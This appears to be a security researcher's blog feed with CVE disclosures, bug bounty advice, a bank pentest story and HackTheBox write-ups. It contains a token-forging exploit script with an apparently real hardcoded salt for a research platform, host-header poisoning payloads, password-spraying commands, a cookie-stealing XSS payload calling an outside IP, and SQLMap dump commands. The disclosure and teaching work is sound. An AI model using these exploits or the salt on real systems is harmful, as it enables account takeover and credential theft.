Bug Culture

CVE-2025-27580

Thu, 24 Apr 2025 00:00:00 +0000

You're so... Predictable

Earlier this year, while red teaming some public-facing web apps, I came across an unknown vulnerability in a platform called BRICS. It relied on tokens generated using predictable values and hardcoded salts—some of which had been around for years. During the recon phase, I found a lonely old GitHub repo containing the application’s source code. Even though the codebase had probably changed quite a bit, I figured traces of the original token generation logic might still be useful (originally used for password resets, now for linking SSO accounts) and made a note of it—which eventually led to the discovery of a zero-day that allowed unauthenticated users to take over accounts and escalate privileges.

BRICS == BRICKS?

The Biomedical Research Informatics Computing System, or BRICS, is a comprehensive but customizable data science platform designed to efficiently collect, validate, harmonize, and analyze research datasets. A modular, web-based system, BRICS makes the performance of research studies and clinical trials faster, simpler, and more collaborative. And because BRICS is un-branded and un-associated with a particular disease or organization, it can be customized to meet your research objectives. This web-based application is 21 CRF Part 11 compliant, secureb>, and intuitive to use. In addition, users with programming expertise can use an application programming interface (API) for more dynamic data analysis including Artificial Intelligence and Machine Learning (AI/ML) applications. BRICS is actively used across the NIH and by the DoD for data warehousing, and clinical trials research.

From Curiosity to Compromise

The vulnerability was found before we were even issued testing accounts, and was in the application's account linking feature, which allowed users to link their Common Access Card (CAC) or another Single Sign-On (SSO) method to an existing account within the application.

It immediately caught my attention during testing, as I’d previously discovered vulnerabilities in similar features. The vulnerability stemmed from how the tokens sent to the email associated with the existing account were generated. For a similar vulnerability, check out my writeup of the Predictable challenge from HackTheBox.

Surprisingly, during the reconnaissance portion of the assessment, while conducting open-source intelligence (OSINT), I discovered a GitHub repo containing an outdated version of the software, nearly five years old.

In the older source code, the account linking feature didn't exist yet, but their was a password reset feature that looked oddly similar to the account linking page.

It seemed passwords had been replaced by SSOs, but the logic for generating tokens for password resets had been recycled, and was now used to generate account linking tokens.

Not So Random After All

The source code provided insight into some critical logic:

The tokens were generated by concatenating a user’s username and the timestamp of the request, then hashing the result using SHA-256.
The salt was hardcoded!
The URL and parameters to link and account (reset password in old code), which was something like: https://example.gov/portal/linkAccount.action?username=crose&token=

private String hashRecoveryString(String userName, Date date) {

		byte[] raw = null;

		// Digest the String
		try {
			raw = MessageDigest.getInstance("SHA-256")
					.digest((userName + date.toString() + CoreConstants.SALT).getBytes());
		} catch (NoSuchAlgorithmException e) {
			logger.error("There was an exception in the accountManagerImpl hashRecoveryString(): "
					+ e.getLocalizedMessage());
			e.printStackTrace();
			return null;
		}

Crafting an Exploit

After reviewing the code, I knew I needed 3 things to get a working exploit:

A valid username.
A valid timestamp.
The salt value.

Valid usernames could be enumerated through the account creation process, which fulfills the first requirment.

Typically, to get the timestamp in a situation like this one, we would eventually need to brute-force it using a tool like ffuf with a list of potential tokens:

rosehacks@pwny$ ffuf -u  https://example.gov/portal/linkAccount.action?username=crose&token=FUZZ  -w tokens.txt


        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
===============================================================
 :: Method        : GET
 :: URL           : [http://127.0.0.1:1337/api/reset-password](http://127.0.0.1:1337/portal/linkAccount.action?username=crose&token=FUZZ)
 :: Wordlist      : FUZZ: /home/kali/token.txt
 :: Follow redirects : false
 :: Calibration   : false
 :: Timeout       : 10
 :: Threads       : 40
 :: Matcher       : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter        : Response words: 5
===============================================================

2d05f0c1a911b4176613134f6f0826fd [Status: 200, Size: 59, Words: 3, Lines: 1, Duration: 83ms]

:: Progress: [4001/4001] :: Job [1/1] :: 2890 req/sec :: Duration: [00:00:01] :: Errors: 0 ::

Thankfully, the value was stored in a cookie called, "linktime", after initiating a valid linking request, which was actually another way to enumerate valid users (no user == no cookie).

Finally, since I already had the potential hardcoded salt value from the older public source code, I now had all three ingredients needed to create an exploit script.

To accomplish this task, i used python and came up with the script below:

import hashlib

def generate_hashed_token(username: str, time_in_millis: str, salt: str) -> str:
    """
    Generates a SHA-256 based token.
    :param username: The username used in the token generation.
    :param time_in_millis: The exact timestamp in milliseconds.
    :param salt: The application's SALT value.
    :return: The generated token as a hex string.
    """
    raw_data = (str(username) + str(time_in_millis) + str(salt)).encode()
    hashed_bytes = hashlib.sha256(raw_data).digest()
    hex_token = "".join(f"{b:02x}" for b in hashed_bytes)
    return hex_token

username = "username"
time_in_millis = "timestamp"
salt = "7Dl9#dj-".strip() 

token = generate_hashed_token(username, time_in_millis, salt)
print(f"Generated Token: {token}")

Account Takeover

With a potential proof of concept written up, I just needed to test it.

I initiated an account linking request using a known username, and after a few seconds recieved an email with the following URL:

https://example.gov/portal/linkaccount/linkAccount!linkAccount.action?username=rosehacks&token=f7ef237fc61753a78bf858bb10db909b2f76c08d530f275d66a3b6b070764eef

Next, I ran the exploit script using the same username and timestamp I obtained from the cookie:

rosehacks@pwny$ python3 exploit.py
Generated Token: f7ef237fc61753a78bf858bb10db909b2f76c08d530f275d66a3b6b070764eef

As you can see, the tokens matched up and I was able to successfully link my SSO to an existing application account with higher privileges than my own.

Account Takeover!

References

https://github.com/RoseHacks/Vulnerability.Research/tree/main/CVE-2025-27580
https://bugculture.io/writeups/web/predictable
https://www.cve.org/CVERecord?id=CVE-2025-27580

Password Reset Poisoning

Sat, 18 Jan 2025 00:00:00 +0000

Poisoning Password Reset Links

One of my favorite bugs to hunt for has been password reset poisoning. Why? Well, first off, it’s a fun and relatively straightforward bug to test for. And second, platforms usually pay decently for it, so the effort-to-reward ratio is pretty satisfying.

But why is allowing aribtrary host headers (which is the first step to identifying password reset poisoning) so common in applications? Let’s break down some reasons:

Lack of Proper Host Header Validation

Many web servers (e.g., Apache, Nginx) and frameworks (e.g., Flask, Express.js) do not strictly validate the Host header by default.
Developers often overlook implementing strict validation or allowlisting of valid Host headers, leading to trust being placed in user-supplied headers.

Reverse Proxy Misconfigurations

When reverse proxies are used (e.g., Nginx or HAProxy), misconfigurations may allow arbitrary Host headers to be passed upstream to the application.
Many proxies don’t sanitize the Host header by default unless explicitly configured.

Use of Development/Test Configurations in Production

During development, it’s common to run applications with permissive configurations (e.g., allowing all Host headers with 0.0.0.0 or *). If these configurations are carried over to production, the application remains exposed.
Misuse of Framework Defaults

Some web frameworks trust the Host header as-is to build URLs

Django’s default ALLOWED_HOSTS setting is empty in development (ALLOWED_HOSTS = [‘*’]), allowing all Host headers unless explicitly configured.

As you can see, there are many ways an application may end up configured in this way. Once I’ve identified that an application allows arbitrary host headers, the next step is to determine if it can be exploited. This can be achieved in several scenarios, such as cache poisoning or password reset poisoning. For more details, check out PortSwigger’s guide to Host Header Attacks here.

Abusing The Logic in Password Reset Features

Once we discover an application that allows arbtrary host headers, and we have the ability to test this feature (we can create and use accounts), its time to test for the bug.

Dicover a way to get the application to allow arbitrary host headers. Sometimes there may be some sort of validation on the value of the host header. I’ve had success trying things like:

Host: example.com
Host: example.commmmmmm.attacker.com
Host: attacker.example.us
Host: example.attacker.com

Using our proxy, capture a request to to reset our user’s password.
Change the Host header to an arbitrary value and forward the request.
Check you email and hope for the best!

Good Luck and Happy Hunting!

References

https://portswigger.net/web-security/host-header
https://portswigger.net/web-security/host-header/exploiting/password-reset-poisoning
https://www.invicti.com/learn/password-reset-poisoning/

CVE-2024-53553

Tue, 14 Jan 2025 00:00:00 +0000

Authentication Bypass in FOIAXpress® Public Access Link (PAL)

While doing bug bounty on HackerOne back in August, I uncovered a vulnerability in the FOIAXpress® PAL application from OPEXUS, which can integrate with payment solutions, including pay.gov for federal clients. This vulnerability, classified as an Execution After Redirect (EAR) flaw, allows unauthenticated users to bypass authentication mechanisms, potentially spoof emails, and submit requests on behalf of other users.

Discovery Process

I think we all have out own methodology when it comes to bug bounty, so I won’t fill this post with my own. Some things I think would be worth stating are the key events that led to me testing for this specific vulnerability.

Whenever doing research on commercial off-the-shelf (COTs) software, I like to try to find any sort of documentation. These references are a great source of information for attackers. While trying to break the application, we need to know just as much if not more about it than the developers. By reading the documentation, we can figure out what users are “suppose to do”, which might cue us in on what we shouldn’t do - or should to find some bugs. To that point, while there was some documentation avalible online, I couldn’t find anything super useful outside of the applications home and help pages, which did give me some useful hints, such as:

The home page of the application tells us, we “MUST” register or sign-in to make requests through the portal. As per usual when looking through documentation, I noted this down. Because, if the application is telling us we MUST be authenticated to make these requests, and were able to do that without authenticating, then thats a bug!

How it unfolded

I captured a request to an authenticated endpoint using Burp Suite.
The server responded with a 302 redirect, instructing the client to log in.
I intercepted the response and modified the 302 code to 200 OK and forwarded it to the browser.

Gaining Unauthenticated Access

The application now treated me as if I were authenticated, granting access to the submission page.

Manipulating Submission email

Normally, when authenticated, this page will auto-fill the email of the current user, but since we werent authenticated, I could specify any email address in the email field, effectively impersonating another user.

Email Validation Abuse

To further compound the issue, I discovered another endpoint that validated email addresses.

Using this, I could verify valid email addresses on the application before submitting impersonation requests.

Lessons Learned

With this being my first CVE, I have learned a few things I felt may be useful to share with others on a similar journey:

Understand the submission process for new CVEs before submitting and be patient.
Vendors can be hit or miss. Do your due diligence as a security researcher and again, be patient.

References

https://github.com/RoseHacks/Vulnerability.Research/tree/main/CVE-2024-53553
https://infosecwriteups.com/exploiting-execute-after-redirect-ear-vulnerability-in-htb-previse-92ea3f1dbf3d
https://www.cve.org/CVERecord?id=CVE-2024-53553

Getting Started in Bug Bounty

Thu, 05 Sep 2024 00:00:00 +0000

The Bug Bounty Journey

As a recent entrant to the bug bounty scene with moderate success, I hope to share a short guide to help those who find themselves where I once did. Wondering about my credentials? Well, what originally got me into bug bounty hunting was completing the Bug Bounty Path from Hack The Box. By the way, great course! I fully recommend it for any aspiring pentesters and bug bounty hunters.

After finishing the course, I started my bug bounty journey on HackerOne. Two weekends and a lot of hacking on VDP programs (I know, I know), I submitted 10 bugs, 8 of which were triaged. During that time, I discovered my first zero-day vulnerability (I’ll save the joys—and frustrations—of dealing with vendors for another post) in a COTS application. To be fair, the target had a HUGE scope and likely hadn’t been tested much, so the research time probably wasn’t as intense as it should have been. But enough about me.

What to Know?

Let’s pretend you’re not a total newbie. Maybe you’ve got some hacker certifications or field experience, but you’re unsure where to start with bug bounty hunting. It’s crucial to understand some key differences:

This isn’t a pentest, but treat it like one. Be thorough! Log and document everything—this is even more critical in bug bounty hunting than in pentests or CTFs.
Bug bounty hunting isn’t fast. You’re in it for the long haul, much like real threat actors. Take your time—one target could take weeks or months depending on its scope.
Luck plays a role. No matter how skilled you are, someone else might beat you to a bug.
Keep an open mindset and build upon a solid methodology as you hunt.
Bug bounty hunting is like an Easter egg hunt! You may spend a lot of time on a target and find nothing—that’s okay. Your next target may be full of bugs, making it all worth it.

Where to Start?

There are plenty of solid public programs to start hacking on. HackerOne, BugCrowd, Integriti, etc. There are also private programs you can apply for, like Synack. With that in mind, choose a program, sign up, and move on to the next step: selecting a target! One of the most important parts of starting in bug bounty is choosing a target appropriate for your experience level. As a beginner, starting with a target offering rewards from $10k to $200k likely won’t lead to a very fruitful hacking experience.

This is where I’d suggest starting with a Vulnerability Disclosure Program (VDP) (cue the eye rolls and echoes of ‘free labor?!’). Of course, this is optional, and it comes down to one question: Why are you doing this? Are you here to make money? Improve your resume and skills? Or maybe just for fun? Either way, it’s up to you—I’m just offering the easiest path to finding your first bug.

VDP programs typically have fewer participants, increasing your chances of finding bugs. They’ll help you get comfortable hunting and sticking to a scope.

When selecting your target, the final factor to consider is the scope, and it’s something you’ll want to approach carefully. Ideally, choose a target with a wide attack surface. What does that look like? Generally, I look for wildcards—the more, the better! This means all subdomains of the root domain are in scope, allowing your recon skills to shine. If you’re able to find hidden subdomains that haven’t been tested by other hackers, it increases your chances of finding bugs.

You’ll want to review the details of a target to see which vulnerabilities are in scope. If the target has a long list of disallowed vulnerabilities, it might not be beginner-friendly. Another key factor is how many bugs have been submitted recently—you’ll have better luck with a target that’s had 500 bugs in the last 90 days versus one with just 10.

A great starting point is the Department of Defense’s bug bounty program on HackerOne. Their scope is huge—pretty much any .mil domain is fair game—and they accept a wide range of bugs. Just to show how beginner-friendly it is: in the last 90 days, over 1,700 bugs were submitted. Crazy, right? But a fantastic opportunity for newcomers nonetheless.

Now that you’ve found a suitable target, let’s dive into the good stuff!

The Fun Part

Lastly, I want to discuss hunting methodology. I won’t get too technical—there are plenty of resources for that (including this website). What’s key here is quickly understanding recon and initially focusing on one or two specific vulnerabilities. During recon, your goal should be to gather as much information as possible on the assets in scope, such as subdomains and open ports.

By narrowing your focus on a couple of vulnerabilities, you’ll streamline your testing and increase your chances of finding something meaningful early on.

Project Discovery has all the tools you’ll need for both passive and active recon, with a few exceptions, but it’s a great starting point for recon tooling. Once you’ve built a solid methodology for recon, the next step is to focus on one or two vulnerabilities to become thoroughly familiar with.

People generally start with vulnerabilities like Cross-Site Scripting (XSS), SQL Injection (SQLi), and Insecure Direct Object Reference (IDOR). It doesn’t matter which ones you choose—what’s important is that you understand them thoroughly. Do as many PortSwigger labs as you can. Take all the notes! Build scripts and Nuclei templates to automate the search for these vulnerabilities. Understand them so deeply that you can almost anticipate what the developer was thinking when they introduced the bug into the code. Again, PortSwigger is an excellent resource for this.

Another worthwhile step, though not necessary, would be to learn some frontend or backend programming (depending on the vulnerabilities you’re hunting). You can use free resources like the The Odin Project to get familiar with coding practices, and it certainly doesn’t hurt to know how something works when you’re trying to break it!

And with that, I’ll leave you to it. Go out and hack all the things! Remember, you’re representing yourself and your future in the security community. Act ethically and always, always stay in scope. Feel free to check out more of my blogs on topics like OSINT, the importance of fuzzing to expand your attack surface, and how I got into Synack!

Finding Hidden Features

Fri, 23 Aug 2024 00:00:00 +0000

Fuzzing to Find Hidden Features

Persistence is essential. Especially in our field. Recently, my team and I came up against a COTs application that seemed secure and well configured.

Over the course of two weeks, we meticulously followed the OWASP testing guide, extensively enumerating every feature of the application. Despite our thorough efforts, we initially found no vulnerabilities. It wasn’t until the end of our assignment that I decided to delve deeper by fuzzing directories several levels deep, driven by a determination to find anything that might have been overlooked.

Let There be Fuzz

There are several tools we can use for fuzzing in scenarios like this, but I prefer to stay inside Burpsuite for most of my testing needs. We can simply send our request to Intruder and highlight what we want to fuzz. It’s worth mentioning that you need Burpsuite Pro to avoid rate limiting. Once in Intruder, typically, I select the parameters I want to fuzz, highlight them, and click “Add.” Then, I choose my wordlist, depending on what I am targeting. SecList usually has what I need. It’s important to try several different wordlists when fuzzing. One that I have found particularly useful for APIs and even some directories is the api-res wordlist under SecLists>Discovery>Web-Content>api>api-endpoints-res.txt.

Finally, I’ll configure the speed at which we want to fuzz. Although it’s unlikely, we don’t want to overwhelm the server in any way, so I usually reduce the number of concurrent requests to two or three. Next, we start fuzzing. Another crucial aspect of fuzzing is filtering our results. Fortunately, Burpsuite makes this easy. We can search for specific words, depending on the type of testing we’re conducting, or we can sort by response codes, sizes, etc.

So, utilizing various wordlists, I began probing deeper into the application’s directory structure. Interestingly, I discovered that accessing the endpoint /01 of a certain path redirected to that path’s main page, while /02 led to a secondary page, if it existed. Encouraged by this pattern, I continued with /03, /04, and so on. This approach started revealing some new, unindexed pages, some of which were admin pages that had not been identified in earlier phases of testing.

To exploit this finding systematically, I created a wordlist ranging from 1 to 50 using seq and resumed fuzzing across all known paths. This unearthed several intriguing pages, but one really stood out: it was used by admins to send notifications to various user groups within the application, including other Admins, regular users, and other specific groups.

To assess how the receiving end of these notifications handled the user input of the administrators, I executed a test by sending a notification to our pentester group that included an XSS payload similar to the one below:

<img src=1 onerror=console.log(document.domain);>

Surprisingly, when they received the notification, the page included it without any sort of validation or sanitizarion. The JavaScript executed, confirming stored XSS. This experience underscores the indispensable value of fuzzing in penetration testing and bug bounty hunting. As bug bounty hunters, we don’t have all the time that threat actors do to enumerate our target. And so, we must prioritze our activities. If we don’t fuzz, we truly don’t know what vulnerabilities lie hidden, waiting to be exploited. This single finding alone illustrates why thorough testing, beyond standard enumeration, is crucial for uncovering deeper security flaws. Try harder!

OSINT and Weak Passwords

Wed, 21 Aug 2024 00:00:00 +0000

Leave No Stone Unturned

Earlier this year, I performed a security assessment for a small, unnamed bank. The scope focused on auditing their local network to assess what an attacker could achieve from an assumed breach perspective.

After starting a network scan with Nessus, I proceeded with the standard toolkit for a local penetration test—running nmap, leveraging responder, packet sniffing with wireshark, examining printers/MFPs, and scanning services with CrackMapExec. Despite following the usual TTPs, no significant vulnerabilities or misconfigurations were found. While the printers showed some weaknesses, none were exploitable for privilege escalation. This was unsurprising, given that the bank had undergone several penetration tests in the past.

OSINT FTW

After several days of getting nowhere and nearing the end of the assessment, I decided it was time to target some services and spray passwords as a last resort. To facilitate this attack, I needed usernames. This is when I turned to Open Source Intelligence (OSINT). From the bank’s website and employees’ LinkedIn profiles, I compiled a list of potential users and usernames. Additionally, I discovered that the bank had an app on the App Store. The bank’s mobile application had only three reviews, all excessively positive, likely from employees given the timing of the posts. Thus, I added these names to my usernames file. The significance of obtaining usernames from the App Store reviews will become evident later on.

Spray and Pray

With these usernames, I attempted to password spray using common business passwords. The following are some reoccurring passwords I’ve observed in past assessments:

rosehacks@pwny$ cat passwords.txt
SEASONYEAR!
SEASONYEAR!@
SEASONYEAR
BUSINESSNAMEYEAR1!
EMPLOYEENAMEBIRTHYEAR!
QWERTY123!@# // keyboard walks
rosehacks@pwny$ cme smb 192.168.1.0/24 -u users.txt -p passwords.txt --continue-on-success

However, I didn’t have any success with SMB. So, I moved onto spraying WinRM credentials, but still nothing—I think this was likely due to some issues with crackmapexec not working at the time with winrm. So, I switched to using winrm-brute for password spraying.

rosehacks@pwny$ winrm-brute --hosts 192.168.1.0/24 --usernames users.txt --passwords common_passwords.txt

After some time, I checked back on winrm-brute, and there it was—a single hit! The valid username matched one of the three users from the app store reviews for the bank’s mobile application, confirming my hunch that they were employees. This particular employee’s password followed a common corporate pattern, ‘SeasonYEAR!’, which is often used in environments requiring quarterly or semiannual password changes. During the debrief, it was revealed—ironically—that their IT department had recommended this format. As a result, I gained access, not just to any domain user, but to a Domain Admin’s account.

This assessment reveals that passwords continue to offer easy entry points for attackers. Implementing stringent password policies and regular security training is vital. Additionally, thorough OSINT is critical for pentesters, as it widens the attack surface, making our target easier to breach. For us, this means a greater likelihood of identifying and exploiting these gaps before the real threat actors have a chance.

Cat

Thu, 07 Mar 2024 00:00:00 +0000

rosehacks@pwny$ nmap -sV -sC -p- -T4 -oA --open cat 10.10.14.53
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 96:2d:f5:c6:f6:9f:59:60:e5:65:85:ab:49:e4:76:14 (RSA)
|   256 9e:c4:a4:40:e9:da:cc:62:d1:d6:5a:2f:9e:7b:d4:aa (ECDSA)
|_  256 6e:22:2a:6a:6d:eb:de:19:b7:16:97:c2:7e:89:29:d5 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://cat.htb/
Service Info: Host: cat.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Web Application:

image here

Done through a GET request, a bit unusual. (Thinking, maybe if an admin script is running and logging in we can capture the packets)
Possible SQL injections here as well?

im age here

Contest submission:

Possible blind XSS
Possible file upload exploitation. (went down a bit of a rabbit hole here after finding the uploads directory.)

Directory Fuzzing:

rosehacks@pwny$ ffuf -w /usr/share/wordlists/dirb/big.txt -u http://cat.htb/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://cat.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/big.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

.htaccess               [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 77ms]
.git                    [Status: 301, Size: 301, Words: 20, Lines: 10, Duration: 85ms]
.htpasswd               [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 76ms]
css                     [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 78ms]
img                     [Status: 301, Size: 300, Words: 20, Lines: 10, Duration: 92ms]
server-status           [Status: 403, Size: 272, Words: 20, Lines: 10, Duration: 77ms]
uploads                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 83ms]
winners                 [Status: 301, Size: 304, Words: 20, Lines: 10, Duration: 77ms]
:: Progress: [20470/20470] :: Job [1/1] :: 519 req/sec :: Duration: [0:00:49] :: Errors: 0 ::

Results:

Several interesting directories here.
Some interesting ones being .git, uploads, and winners. (maybe img depending if we can get something juicy past the contest upload feature) imahe here

Exposed Git Directory:

It seems the developers made the mistake of leaving their .git directory exposed.
We can take advatage of this and possibly restore some source code from it.
For this, I will use the tool git-dumper ./git-dumper-linux http://cat.htb/.git/ cd git-dumped/ git restore .

Results:

image here

As you can see, we were able to restore the source code for the application. Now we can go through and do a code review (look for some juicy bugs!)

Code Review:

In the join.php file, it seems the input for the username isn’t being validated, which may be interesting if we can find out if it is ustilized unsafely somewhere else in the code.
Looking at the view_cat.php file (an admin endpoint). I found that out username is rendered along with the other user inputs from the contest submission. image here
We may be able to use this to execute a blind cross-site scripting (XSS) attack on the admin.

We can use a payload, such as <img src="http://10.10.14.12:443/?cookie="+document.cookie> in our username when signing up.
After logging in, we submit our cat for the contest as per usual, except this time, we get a request on our server with the admin’s cookie. image here

SQL Injection with SQLMap

After getting an admin session on the application, I went back to the code to look for more vulnerabiltiies. While looking through the code, I found one endpoint ( accept_cat.php) builds an unsafe SQL query. image here
We could automate the exploitation here byusing a tool known as SQLMap:

sqlmap -u "http://cat.htb/accept_cat.php" --data "catId=1&catName=mal" --cookie="PHPSESSID=vc64ndcf0tl5ppkqttnpmfmvem" -p catName --level=5 --risk=3 --dbms=SQLite -D main -T users --dump``

Cracking the Hash:

With that, we were able to dump all of the user’s md5 password hashes.

<insert image

Instead of cracking with a tool, I went for a quick win and threw them at crackstation. I got the plaintext password for Rosa, which I was able to ssh into the machine with.

From Rosa to Axel

After getting on the box, the first thing I wanted to look at was the apache logs. (GET requests for login… come on!) image here

Internal Gitea Instance

After switching over to Axel, we notice he has mail, which we can check at /var/mail/username: image here
From this message, we can gather that there is a local Gitea instance running on port 3000.
With that, lets do a local port forward and check it out

ssh -L 3000:127.0.0.1:3000 axel@cat.htb``

image here

Seems we need to sign in, which we are able to do with Axel’s creds.
But we still can’t get the that employee management endpoint..
Looking at the Gitea version, we can see it is vulnerable to a stored xss vulnerability: https://www.exploit-db.com/exploits/52077
Cookies don’t seem accessible by javascript since the HTTPOnly flag is enabled.
So, my thought process here si that we need to access pages in the employee-management repository.
looking back at the email as well, it seems we may need to do some social engineering image here
This took a bit of playing around with, as I wasn’t sure if the script would check for any new repository and navigate to it, or if we needed to provide a link to the repository. It seems I also couldn’t get the payload to trigger if I didn’t have a file in the repository as well.
So, many new repositories and reboots later, I was able to get the attack to work.

Click Me`

Create a blank file in the repository. Then send the email:

echo -e "Subject: test \n\nHello check my repo http://localhost:3000/axel/Employee-management3" | sendmail jobert@localhost`

And we finally got a response: image here

Decoded:

?response=# Employee Management Site under construction. Authorized user: admin. No visibility or updates visible to employees. Seems there may be an admin endpoint..

Since we know there other application uses php, we can attempt to pull down a common file, such as index.php or admin.php. If that doesn’t work we could try a few more such as admin.php, and so on. And then switch languages as necessary, index.py, etc.

Trying admin was unsuccessful. But with index.php, we get the following response: image here

Decoded:

image here

Going back to the machine, we execute su, and become root: image here

Cat has been pwn3d!

ThreeKeys

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Medium

Description:

You’ve gathered the three secret keys and you’re ready to claim your prize. But in your rush, the keys have got mixed up - which one goes where?

Challenge:

I have messed around with Ghidra in the past, but this was my first time using gdb, and becoming familiar with the debugger’s syntax (ALOT of ChatGPT and Google). The objective was pretty clear: find the correct order of the keys and decrypt the hidden flag.

Analyzing The Binary:

The first step was to load the binary into Ghidra, a powerful reverse engineering tool, and inspect the main() function. The relevant parts of the decompiled main() function were as follows:

pAVar3 = the_third_key();
decrypt(ctx, (uchar *)out, (size_t *)0x2, (uchar *)pAVar3, in_R8);
memcpy(ctx, out, 0x20);

pAVar3 = the_second_key();
decrypt(ctx, (uchar *)out, (size_t *)0x2, (uchar *)pAVar3, in_R8);
memcpy(ctx, out, 0x20);

pAVar3 = the_first_key();
decrypt(ctx, (uchar *)out, (size_t *)0x2, (uchar *)pAVar3, in_R8);
memcpy(ctx, out, 0x20);

iVar2 = memcmp(out, &DAT_00102071, 3);
if (iVar2 != 0) {
    out = "...something's wrong";
}
printf("[*] Your prize is: %s\n", out);

Key Takeaways from the Decompiled Code:

The program sequentially calls the_third_key(), the_second_key(), and the_first_key() to obtain keys and decrypt the flag.
After each decryption step, the decrypted result is copied into a ctx buffer using memcpy.
A memcmp() call compares the decrypted output with a reference data section (DAT_00102071), but only checks the first 3 bytes. It became clear that the order of keys was important, and that the program was only validating the first 3 bytes of the decrypted result, which likely represented the start of the flag (e.g., “HTB”).

Solution

I needed to swap the calls to these functions in the correct order: the_first_key() should use Key 1, the_second_key() should use Key 2, and the_third_key() should use Key 3.

Reversing the Key Order

Upon closer inspection of the the_third_key(), the_second_key(), and the_first_key() functions, it became apparent that the keys were mixed up in the main() function:

the_third_key() actually contained what seemed to be Key 1.
the_second_key() contained Key 2.
the_first_key() contained Key 3.

Bypassing the Error Check:

But, even after swapping the keys, there was still a catch: the program only compared the first 3 bytes of the decrypted output using this line:

iVar2 = memcmp(out, &DAT_00102071, 3);

The comparison was limited to 3 bytes, so if the flag contained more than just “HTB”, it wouldn’t display it.

Patch Step: Disabling the memcmp() Check To bypass the restriction and ensure the entire buffer was printed, I needed to patch the binary. This was done in Ghidra by replacing the following assembly:

001013ce  75 06    ; JNZ LAB_001013d6

with the NOP intructions:

001013ce  48 90    ; NOP

This effectively disabled the error check, allowing the program to continue and print the entire decrypted buffer without checking if the first 3 bytes matched.

The Flag:

After patching the binary, I exported it as an ELF file and ran it. Here’s what I did:

Swapped the key functions to ensure they matched the correct order.
Patched the memcmp() check with NOPs to bypass the error message.

Solving with GDB:

Step 1: Calculate the Relative Offsets

In x86-64, the call instruction uses relative addressing, meaning it stores a signed 32-bit offset from the current instruction to the target function. To calculate this offset, you need to subtract the address of the current instruction (plus 5 to account for the size of the call instruction) from the address of the function you’re calling.

To calculate the relative offset for the_third_key and the_first_key, I used the following commands in GDB:

(gdb) p/x (int)((long)the_third_key - (long)(0x55555555537c + 5))
$9 = 0xfffffe7c  # Relative offset to call the_third_key

(gdb) p/x (int)((long)the_first_key - (long)(0x555555555302 + 5))
$10 = 0xfffffe8e  # Relative offset to call the_first_key

In this case:

The calculated relative offset to call the_third_key is 0xfffffe7c.
The calculated relative offset to call the_first_key is 0xfffffe8e.

Step 2: Swap the Function Calls

Now that we have the correct relative offsets, we need to patch the call instructions. This involves replacing the old offsets with the new ones.

The call instruction at address 0x555555555302 originally called the_third_key. We’ll change it to call the_first_key by setting the new relative offset (0xfffffe8e):
```
1
(gdb) set *(int*)(0x555555555303) = 0xfffffe8e
```
The call instruction at address 0x55555555537c originally called the_first_key. We’ll change it to call the_third_key by setting the new relative offset (0xfffffe7c):
```
1
(gdb) set *(int*)(0x55555555537d) = 0xfffffe7c
```

We can verify the chnages with:

(gdb) disassemble 0x555555555302
(gdb) disassemble 0x55555555537c

After verifying, we continue through the program execution and get the flag:

(gdb) c
Continuing.
[*] Insert the three keys to claim your prize!
[*] Just be careful to insert them in the right order...
[*] Your prize is: HTB{l3t_th3_hun7_b3g1n!}
[Inferior 1 (process 211367) exited normally]

Three Keys has been pwn3d!

Untraceable

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Easy

Description:

You need access to the Halliday Journals to gather vital info to crack the next clue. However, security has been tightened, and only VIPs with a password may enter. Can you crack the new security system?

Challenge:

The program seems to ask the user for a password, checks if it’s correct, and based on that input, either prints the flag or a message indicating tampering. The binary also includes a check to detect tracing or debugging attempts using ptrace(). However, the core challenge here is static analysis—no need for runtime debugging tricks.

Solution

Analyzing The Binary:

The main logic resides in the main() function. First, let’s look at how the password is stored and checked:

local_58[0x20] = 'S';
local_58[0x21] = 'u';
local_58[0x22] = 'p';
// continues to fill out "SuperSecretPassword-DoNotRead!"

The password is hardcoded into memory starting at local_58[0x20] and is as follows:

SuperSecretPassword-DoNotRead!

This is immediately revealing and indicates that the correct password is stored in the binary itself.

Extracting the Flag

Assuming the correct password is provided (SuperSecretPassword-DoNotRead!), the program enters a loop that XORs the password with a key and prints the result:

for (local_c = 0; local_c < 0x1d; local_c = local_c + 1) {
    putchar((int)local_58[(long)(int)local_c + 0x20] ^ (uint)(byte)(&DAT_00104070)[(int)local_c]);
}

This loop iterates 29 times, XORing each character of the password with values from &DAT_00104070. To solve this statically, we can reverse this XOR operation in Ghidra or simply run the binary with the correct password to see the output.

After passing the password to the binary, we get the flag:

┌──(kali㉿kali)-[~/Desktop/rev_untraceable]
└─$ ./untraceable 
What is the password to the archive? SuperSecretPassword-DoNotRead!
HTB{0ld3st_tr1ck_1n_th3_b00k}

Untraceable has been pwn3d!

Bibliophile

Thu, 27 Feb 2025 00:00:00 +0000

Difficulty: Medium

Description:

